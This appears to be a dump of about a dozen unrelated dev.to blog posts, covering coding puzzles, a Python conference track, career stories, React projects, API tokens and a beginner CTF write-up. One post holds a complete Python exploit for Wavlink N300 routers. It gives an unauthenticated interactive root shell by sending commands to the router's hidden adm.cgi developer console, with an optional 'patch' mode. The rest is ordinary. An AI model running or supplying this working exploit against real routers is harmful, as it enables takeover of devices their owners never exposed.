teleren/devto huggingface dataset:
Road to Genius: genius #69
Tags: javascript, beginners, computerscience, codenewbie
Published: 2020-08-07 18:55:15

Each day I solve several coding challenges and puzzles from Codr's ranked mode. The goal is to reach genius rank, along the way I explain how I solve them. You do not need any programming background to get started, and you will learn a ton of new and interesting things as you go.

```JS
function TZ(n) {
  let N = 0;
  while (n >= 5) {
    N += 😈.floor(🍎 / 💧);
    n = 💰.floor(n / 5);
  }
  return N;
}
;
let A = TZ(TZ(TZ(12200)));

// 💰 = ? (identifier)
// 😈 = ? (identifier)
// 🍎 = ? (identifier)
// 💧 = ? (number)
// such that A = 188 (number)
```

Here's an interesting challenge, we have to fix 4 bugs in a pretty short code base.


All four bugs appear on two sequential lines. We immediately see that 😈 and 💰 should be `Math` because they use the common `floor` function. The final two bugs 🍎 and 💧 are tricky to find. However, if we look at the possible answers for 💧 (number) it shows `12200, 5 and 0`; dividing by 12200 and 0 makes little sense, but dividing by 5 is also done on the next line of code. Since 💧 is likely to be 5, then 🍎  could be `n` for the same reason:

![coding challenge answer](https://dev-to-uploads.s3.amazonaws.com/i/gy279c5gfli62r29k0hd.png)

By solving these challenges you train yourself to be a better programmer. You'll learn newer and better ways of analyzing, debugging and improving code. As a result you'll be more productive and valuable in business. Get started and become a certified Codr today at https://nevolin.be/codr/
Community Open Space - what is it?
Tags: pyjamas, onlineconference, event, python
Published: 2020-08-07 18:53:27

The call for proposals for Pyjamas was launched just a few days ago and we are so excited organising everything that we decided clarify one of our favourite features about Pyjamas...
## the Community Open Space!

![Big Lebowski celebrating](https://media.giphy.com/media/tyxovVLbfZdok/giphy.gif)


### But what is a Community Open Space? - you might ask.

Great question, Padawan!

The aim is to have an independent track for your local community within our comfy conference. So that we encourage engagement from local/small communities everywhere.

## How will it work?

We will allocate rooms with time blocks (min. 2 hours) which will be given to community members who submit a Community Open Space (COS) proposal.
The plans for the event are all based on your wishes. It will be your event after all, we will just help you with the setup, space and guidance - if it is required.

## Who is this track for?

If you are part of a community and wish to gather some speakers and host a mini-conference (or host any event of your choosing) in your own main-language (or not), or maybe you wish to host informal discussions of Python-related topics... this is your chance!
It is literally open for YOU.

And we hope everyone can make good use of it.

We want to give the small communities the chance to step forward and be part of the Global Python one. After all, we are all under the same open source.

![Mounty Python scene](https://media.giphy.com/media/UZQQ0yZtq5Ihq/giphy.gif)


## They say the Devil is in the details - Proposal submission
### Guidelines

The proposal submission for this special track is super simple. We will need:

  - the time (with timezone) and duration of your event;
  - a basic outline describing the type of event you plan to host - please, be as detailed as possible;
  - an estimative of the expected capacity (number of attendees) for your ~~Python-party~~ serious event;
  - the community you are affiliated with (e.g., PyLadies, DjangoGirls, PyData, TransCode, etc).
  - any other info we should be aware about - be the judge!

As always we want to make sure everything is in agreement with our [Code of Conduct](https://pyjamas.live/coc/), so make sure you have a read and behave! We love everyone and really ruins our day to be 'nasty' to attendees. We will if you misbehave, though.

The approved proposals will receive news from the organising committee with the followup details.

![join us gif](https://media.giphy.com/media/WsMBa68UUh86q2SR0d/giphy.gif)


We are so excited to see what you are all going to come up with! Please keep the talk proposals coming and if you want to do a little bit more, apply to be a volunteer. We need Reviewers, Organisers and all else, Python-related or not.
Leave a comment below if you are interested.


> _If you have any questions, wish to apply for a Community Open Space on Pyjamas or simply wish to help with volunteering, head over to our [website](https://pyjamas.live) or send us DM on twitter at [@pyjamasaconf](http://twitter.com/PyjamasConf)._
Edpresso spotlight: Abel LIFAEFI MBULA
Tags: webdev
Published: 2020-08-07 18:53:10

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/qcva97hmltxolsyiefcy.png)


> "I consume from the web, but I also contribute to it."

[Abel LIFAEFI MBULA](https://www.educative.io/profile/view/4668316850323456) is the author of [Learn Git and GitHub in 5 minutes]( https://www.educative.io/edpresso/learn-git-and-github-in-5-minutes), the shot that received the most views of any community-contributed shot in July 2020. He has been a part of the Edpresso community for 2 months. 


Abel started coding in 2016 because he wanted to learn more about computers. When he was in grade 10, he could already use a computer in a professional way​ but was interested in being able to do more advanced configurations. 


"But that was not enough for me, I started to look for new challenges like how to use my mathematical knowledge in computing and how to create useful things that people can also use int their computers."


Now, Abel does freelance and contract work to help people ship quality software.


Abel loves being a part of the online tech community and is always honored when the content he writes is able to add value; but, he does acknowledge that blogging is not as easy as it may seem, especially when it comes to writing good content on a regular basis. However, he finds great joy in making technical jargon and ideas easy to understand. 

Stay tuned for more content on Node.js and web security!
<br>
**Connect with Abel on [LinkedIn](https://www.linkedin.com/in/abel-lifaefi-mbula-8371087b/), follow him on [Twitter](https://twitter.com/abelmbula), or visit his [personal website](https://www.abelmbula.com/).** 

> [Edpresso](educative.io/edpresso) is a free database of short, concise articles on dev topics written by Educative community members.
ERAC3000UMNewEMB
Tags: erac3000umnewemb
Published: 2020-07-01 14:52:37

# WLN300-Exploit-and-patch
Wavlink router remote code execution exploit code and patch code. (wavlink n300). This exploit requiers no authentication other than being on the same sub network. The exploit will give RCE with root access. 

# How to use
python3 Exploit.py 192.168.0.1

# Disclouser date 
04/06/2018

# Requirements 
pip install requests 
python version 3 

# How does the exploit works? 
The router has a hidden developer console that can be accesssed over port 80, the program will make requests to emulate a shell and allow remote code execution on the target

# How does the patch work? 
The patch works by exploiting the system and removing the vulnerable file to prevent further exploitation 

# Warrenty 
Use this code at your own risk, this code comes with no warrenty. Never run this code against a wavlink router that you do not own, even the patch. 

# Contribution
Feel free to contribute as my error testing is not comprehensive 
also I have no tested the patch (as this would fix my router and I want to be able to play with other bin files etc on the router) 




exploit.py

import requests 
import sys 
import re


def main():
    loop = 0
    if len(sys.argv) != 2:
        print("[-]Please supply an ip address")
        print("[ ]python exploit.py <ip-address>")
        exit(0)
    else:
        ip = sys.argv[1]        
        print("[+]Correct number of argv")
        print("[+]WAV-LINK (WL-WN529N2) exploit")
        print("[ ]This is a demo and should only be used on your own equipment")
        print("[ ]Runing this program can brick the router forever, use with caution")
    
    ans = input("[ ]Red team or Blue team?\n[ ]This tool can be used to exploit or patch the router\n[ ]Press 'Y' to exploit or 'n' to patch the device\n") 
    while loop == 0:
        if (ans == "y" or ans == "Yes" or ans ==  "Y" or ans == "yes"):
            while(1):
                try:
                    command = input("root@" + ip + ":") 
                    r = requests.post("http://" + ip + "/cgi-bin/adm.cgi/", data = {'page':'sysCMD', 'command': command, 'SystemCommandSubmit':'Apply'})
                    r2 = requests.get("http://" + ip + "/webcmd.shtml")
                    find(r2.text)
                except Exception as e:
                    print(e)
                    sys.exit(1)
        
        elif (ans == "n" or ans == "N" or ans == "no" or ans == "No"):
                command = "rm webcmd.shtml"
                try:
                    r = requests.post("http://" + ip + "/cgi-bin/adm.cgi/", data = {'page':'sysCMD', 'command': command, 'SystemCommandSubmit':'Apply'})
                    r2 = requests.get("http://" + ip + "/webcmd.shtml")
                    print("[ ]Trying to remove developer console")
                    print("[+]System patched")
                except Exception as e:
                    print(e)
                    sys.exit(1)

def find(html):
    parsed = html.split('<textarea cols="90" rows="20" wrap="off" readonly="1">')[1].split('</textarea>')[0]
    print(parsed)

main()
Hello World! Here is why I chose to learn software development. 
Tags: codenewbie, computerscience, career, womenintech
Published: 2020-08-07 18:31:42

Over the last decade, I have been learning and enhancing my skills in the field of Architecture. I received BA in Architectural Studies and MArch in Architecture and Urbanism. I have been blessed with wonderful career opportunities where I was able to pursue my interest in the building and construction industry. The year 2020 has provided me with an opportunity to stop and reflect on my career and future long-term goals. I enjoy certain aspects of the Architecture profession, such as problem solving, analytical design and team collaboration. I focused heavily on Building Information Modeling, and trying to determine how the architectural components all function in tandem with one another. 

I started exploring free prep courses in both UX/UI and Software Engineering. I found that I really enjoy the problem solving aspects of programming. After an extended period of thought and consideration, I decided to apply for the Flatiron Software Engineering program. I value well-guided curriculum, structured courses, milestone dates, and guidance from technical experts. Most importantly, I would like to immerse myself in such a passionate community where we all share the same common goal, becoming a Software Engineer.

I am self-actualized individual, and committed to achieving my goals. I believe the core principles of Architecture will be a good catalyst to becoming a programmer. The pathway to becoming an architect was a very long road from acquiring professional degrees to the accreditation, and eventually, earning multiple certifications. These experiences taught me patience when seeking knowledge, and how to persevere when faced with complex challenges. I will contribute my past experiences in communication, working in a high-pressured environment and managing client's expectations into this exciting new vocation.

```
def determination(challenges)
   final_goal = []
   challenges.each { |challenge| final_goal << challenge }
   return final_goal
end 
```

***
<center>[**fentybit**](https://fentybit.me/) | [GitHub](https://github.com/fentybit) | [Twitter](https://twitter.com/fentybit) | [LinkedIn](https://www.linkedin.com/in/fentybit/)</center>
Simple filter-by-ingredient React App
Tags: react, node, npm
Published: 2020-08-07 18:23:18

[Recipes](https://github.com/juancancela/recipes) is a simple web app that uses [Create React App](https://github.com/facebook/create-react-app), [React Router](https://github.com/ReactTraining/react-router), [styled-components](https://styled-components.com/) and [React Context](https://es.reactjs.org/docs/context.html).

Though the app is super simple, I think it shows a couple of interesting techniques that can easily be extrapolated to real projects. In particular, Take a look at [AppContext.js](https://github.com/juancancela/recipes/blob/master/src/AppContext.js) and how easy the context is binded to the application [routes](https://github.com/juancancela/recipes/blob/master/src/routes.js).

Also, it shows how a value stored on a context can be easily used through the app's components. Check for example how the *searchTerm* is being referenced and updated through the context on the [SearchBar Component](https://github.com/juancancela/recipes/blob/master/src/components/SearchBar.js).
API token with env variable is not secure -Get Access token easily of Contentful project 
Published: 2020-08-07 17:41:38

{% youtube Hd1knlYHba0 %}

## But that doesn't matter. what?
### It's up to you. If you have backend service then you have to hide it otherwise it can cause security issue. Even if you are consuming data with GET request only. I would recommend to hide it.

### If you don't know  about sever side, proxies, serverless then use Cloudflare. Later on, I will show you different ways to hide APIs from client. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/t790gy4bpghgi34dy6p3.png)

# This is how contentful team describe it 
 
pedro.carvalho
Contentful Team
Nov '17
As a general rule any configuration value, even if unrelated to security, should be kept off of source control. I would always recommend committing only placeholders. That’s just a good practice that should always be followed.

That being said, allowing the public to learn your space Id and Content Delivery API (CDA) token isn’t a security issue if that space holds only content meant for public consumption. The reasons are:

CDA is read-only. No one can use its token to change your content, so that’s safe.
Content is public in this scenario, so the worst that can happen is someone very technical firing up a REST client and getting it without going through your site - which isn’t very legible, as it’s all JSON payloads
If you’re concerned about the risk of a malicious agent using that token to cause a lot of API calls, remember that the risk is no higher than that agent simply loading your site a lot of times. There’s no measurable security difference.

If your content is meant for consumption only by logged in users, on the other hand (ex: premium content for users only), then we recommend you don’t expose the CDA token and keep it server-side, routing all CDA calls through there instead.

In any case, please always keep placeholders in your public repository and never actual tokens. Like I said, it’s a good practice to follow.


List of resources is shown in the video:

1. The youtube video which shows storing Access token with .env variable
link: https://www.youtube.com/watch?v=PB5RQk5gAdQ
timing: watch from 10:29

2. dev.to post
link: https://dev.to/tarekhassan410/react-js-contentful-starting-32h3

3.  contentful example app
link:https://www.contentful.com/developers/docs/javascript/example-apps/

4. A forum post on Should I keep Access Tokens secret?
link: https://www.contentfulcommunity.com/t/should-i-keep-access-tokens-secret/457/2

5. site to enter space ID and Access token
link: https://discovery.contentful.com/

6. Demo website and code which are used in this video

demo: https://contentful.github.io/gallery-app-react/
code: https://github.com/contentful/gallery-app-react

Thank you
I launched my first product - and it's horrible
Tags: react, node, javascript, beginners
Published: 2020-08-07 17:34:14

After programming for about 6 months I launched what I considered to be my first "real" product, [Stop Job Hunting](https://stopjobhunting.com/). It's a resume builder that is based off a place I used to work.

(Only ever meant to be a demo product please don't sue me.)

I'm proud of two things.
 
- It actually works. You can go through, build a resume, and it spits out a PDF. 
- I learned a ton of new technical concepts by building it.

After spending well over a hundred hours and thousands of lines of code, I finally launched it into the world, and the world quickly told me about all of the bugs.

I decided I wanted to push forwards with other projects, and that I had succeeded by launching my MVP.

Before I laid it to rest however, I wanted to just write down some of the interesting technical parts of this project. 

#React, Node, Express

The client is built entirely in React, with the backend in Node & Express. I have been programming in React since almost day 1, but I built a server for the first time maybe a month before this project. 

#MongoDB + Mongoose

The database itself was built using MongoDB + Mongoose, both services that I had never used before.

#Custom Auth System

I was very tempted to use 0Auth or another service to handle the authentication for me, but I ended up building it from scratch myself. 

#Hack My Resume
This project pivoted around an NPM library called [Hack My Resume](https://github.com/hacksalot/HackMyResume) which takes a json string and can turn it into a resume. 

#Vercel + Heroku
The client is hosted on Vercel and the server is hosted on Heroku. I had used Vercel to host most of my projects because I had never really used a server before - it was my first time using Heroku. 

#Docker Containers
Another thing I realized I had never done before, is use an NPM library that wasn't "saved" in the local project, but on the computer. This meant that when I tried to push my project to production that Hack My Resume wouldn't actually work.

To fix this I used Docker Containers to hold my server, which I was then able to install Hack My Resume onto. 

...

If for whatever reason you are sadistic enough to look at the code you can check it out below. 

Server => https://github.com/Stop-Job-Hunting/dev-server
Client => https://github.com/Stop-Job-Hunting/dev-client

Cheers :)
Building a portfolio with free tools for designers(no coding required).
Tags: html, portfolio, design, github
Published: 2020-08-07 17:26:25

Hi, to DEV Community.
Before letting in I actually want u to visit the SEO-friendly website created using Start Bootstrap and Github Pages through this link = https://ganeshri.github.io/resume/
This took me less than 1 day.

Nowadays, most designers get their Job through personal portfolio websites. I know, it mostly depends on the creativity of the resume that is presented to recruiters, so be it. Why don't u show up your creativity on websites which show, how capable u actually are in designing! ( I know many people designed prototypes through Adobe Xd and Figma, but never tried to make the website live)

Having a website for u to show to others makes u smarter compared to the guy who has the old school printed resume. Thinking of which if u are just starting or having financial problems then u are at perfect DeV post, Haha. Follow me for more!

This is actually a good opportunity for Designers who don't know how to write the front-end code or don't have money to buy for domains and SSL certificates.

Don't worry u are actually covered with SSL (https) certificates free with Github Pages. Https means your website is secure, that anyone can access it with ease(more on this comment I will create a post) without the fear of malware or phishing attacks.

Github Pages let's u host your front-end code easily if u create a repository. 
Steps being followed to get to Github Pages
      1. Create a Github Account (which is free)
      2. Create a New repository
      3. On GitHub, navigate to your site's repository.
      4. Under your repository name, click  Settings. Scroll down in settings
      5. To see your published site, under "GitHub Pages", click your site's URL.
      6. U will actually find the URL which is shown as an above link of mine.

Before this, U may think Ganesh where is my code for the website?

In the above 2nd step after creating the repository move on to Start Bootstrap Website. (https://startbootstrap.com/guides/how-to-create-a-website-with-github-pages/)
Fork the source code as needed for u! By clicking on template u can just view on Github.

I think u got your code for the entire website, kudos u have source code now, Now what?
.
.
.
.
.
Ok, now I fear u have to write some code. Ahh, sorry for the title.

I'm kidding U just need to edit the English words to ur name and place and contact etc. Which is an Index.html page as mentioned in the above link(remember index.html)

Well, I use it as my basic design portfolio until I create good one for me. U can do the same.

Happy Making Website for Yourself. LOve yourself.

If u really read this completely, let me know how was it! & add a link to ur website in comments.

Thank You.
CTF_writeups_hacker101-[A little something to get you started] 
Tags: hacker101, ctf, writeup
Published: 2020-08-07 17:08:12

Hi, I'm Nathan. This is the beginning of my write-up series. I'll start with the first challenge on hacker101-ctf list of challenges.

The name of the first challenge is "**A little something to get you started**":

* Click on go and you will be redirected to the target webpage:

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/0lv1dbv1ta95yh6ccm7f.PNG)

There is no input showing up, so i tried to put the address on dirb and use nikto to find more clues, while those were running, I tried to inspect the page:

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/h6u2ca9xi8e8c3aewqmr.PNG)

The background image called my attention, since there was no background on the page I tried to reach it on the address bar. For my surprise the flag was there:

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/xtw38kq2v00dinxcat5k.PNG)

I did not find anything relevant on dirb or nikto.
YouTube Video | Mobile-First Website with CSS Grid -3
Tags: css, html, webdev, youtube
Published: 2020-08-07 17:02:42

We will create a website with CSS Grid and we will be using the mobile first approach. The mobile first approach is the approach in which we write the code for mobile screen first and after that move to larger screens.

This is the last part of the series.

{% youtube p82nwQ3F1jc %}

Please do like it and [Subscribe](https://www.youtube.com/channel/UCRf7mazcufqZxd2pR3oQJuQ?sub_confirmation=1) to my channel for more videos.
A tiny local HTTP proxy cache
Tags: http, node, cache, npm
Published: 2020-08-07 16:51:49

[LPC](https://github.com/juancancela/lpc) is a local http service that enables proxying and cache outgoing requests. Its main use case is to speed up booting of apps that requires multiple http requests to be accomplished before finishing the starting process, although it can be used for any case where an http proxy makes sense.

To use it, just *run npx lpc@latest --hostname=HOSTNAME*.
Stacks in SwiftUI (Emoji Edition)
Tags: swift, ios, tutorial, beginners
Published: 2020-08-07 16:48:58

Are you beginning to learn Swift UI? This video is for you. In today’s video, we discuss stacks in Swift UI: V-Stacks, H-Stacks, and Z-Stacks. We will dive into the importance of each of these stacks and why it is essential to learn. 

Here is the link: 
https://www.youtube.com/watch?v=qreq2mBGLBM

YouTube: {% youtube qreq2mBGLBM %}